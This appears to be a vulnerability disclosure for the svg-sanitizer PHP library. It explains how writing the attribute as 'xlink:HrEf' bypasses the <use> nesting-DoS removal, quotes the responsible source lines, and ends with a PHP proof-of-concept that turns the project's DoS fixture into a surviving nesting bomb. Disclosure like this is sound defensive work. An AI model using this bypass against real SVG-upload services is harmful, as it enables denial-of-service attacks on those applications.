svg-sanitizer: Mixed-case xlink:HrEf skips the `<use>` nesting-DoS check in Resolver::processReferences

Summary

Resolver::processReferences() collects <use> elements with the XPath predicate use[@href or @xlink:href], which is case sensitive. A <use> element written as xlink:HrEf is therefore never added to the reference graph, so the nesting-DoS nullification never marks it for removal. Sanitizer::cleanHrefAttributes() then runs later in the same pass and rewrites xlink:HrEf back to the canonical xlink:href. The sanitizer hands back a fully live nesting bomb that it would have stripped completely had the input used canonical casing.

This is the mirror image of CVE-2025-55166: that fix made href value checking case insensitive, but the <use> reference graph still selects nodes case sensitively.

Where it is

src/ElementReference/Resolver.php:97-118, the case-sensitive node selection:

$useNodeName = $this->xPath->createNodeName('use');
foreach ($this->subjects as $subject) {
    $useElements = $this->xPath->query(
        $useNodeName . '[@href or @xlink:href]',
        $subject->getElement()
    );

src/Sanitizer.php:479-504, the normalization that happens afterwards and makes the attribute live again:

// in case the attribute name is `HrEf`/`xlink:HrEf`, adjust it to `href`/`xlink:href`
if (!in_array($attribute->nodeName, $this->allowedAttrs, true)
    && in_array(strtolower($attribute->nodeName), $this->allowedAttrs, true)
) {
    $element->removeAttribute($attribute->nodeName);
    $element->setAttribute(strtolower($attribute->nodeName), $attribute->value);
}

Ordering is the whole bug. Sanitizer::sanitize() builds the resolver graph first and normalizes attribute casing second, so the graph is built against names the sanitizer is about to change.

Impact

Anyone who can submit an SVG to an application that sanitizes it with this library and then serves it. No privileges beyond being able to upload or paste an SVG. The output is the project's own tests/data/useDosTest.svg nesting structure, intact, with canonical xlink:href attributes, which is exactly the input the useNestingLimit machinery exists to defuse.

Proof of concept

Against a clean clone of tag 0.22.0. The only change to the input is rewriting xlink:href to xlink:HrEf in the project's own DoS fixture.

<?php
spl_autoload_register(function ($class) {
    $p = 'enshrined\\svgSanitize\\';
    if (strpos($class, $p) !== 0) return;
    $rel = str_replace('\\', '/', substr($class, strlen($p)));
    $f = __DIR__ . '/svgsan/src/' . $rel . '.php';
    if (file_exists($f)) require $f;
});
$orig = file_get_contents(__DIR__ . '/svgsan/tests/data/useDosTest.svg');
$mut  = str_replace('xlink:href', 'xlink:HrEf', $orig);

function run($label, $input) {
    $s = new \enshrined\svgSanitize\Sanitizer();
    $s->removeRemoteReferences(true);
    $out = $s->sanitize($input);
    echo "[$label]\n";
    echo "  output <use  count : ", substr_count($out, '<use '), "\n";
    echo "  output xlink:href  : ", (strpos($out,'xlink:href')!==false?'YES':'NO'), "\n";
    echo "  output xlink:HrEf  : ", (strpos($out,'xlink:HrEf')!==false?'YES':'NO'), "\n";
}
run('canonical xlink:href (control)', $orig);
run('mixed-case xlink:HrEf (attack)', $mut);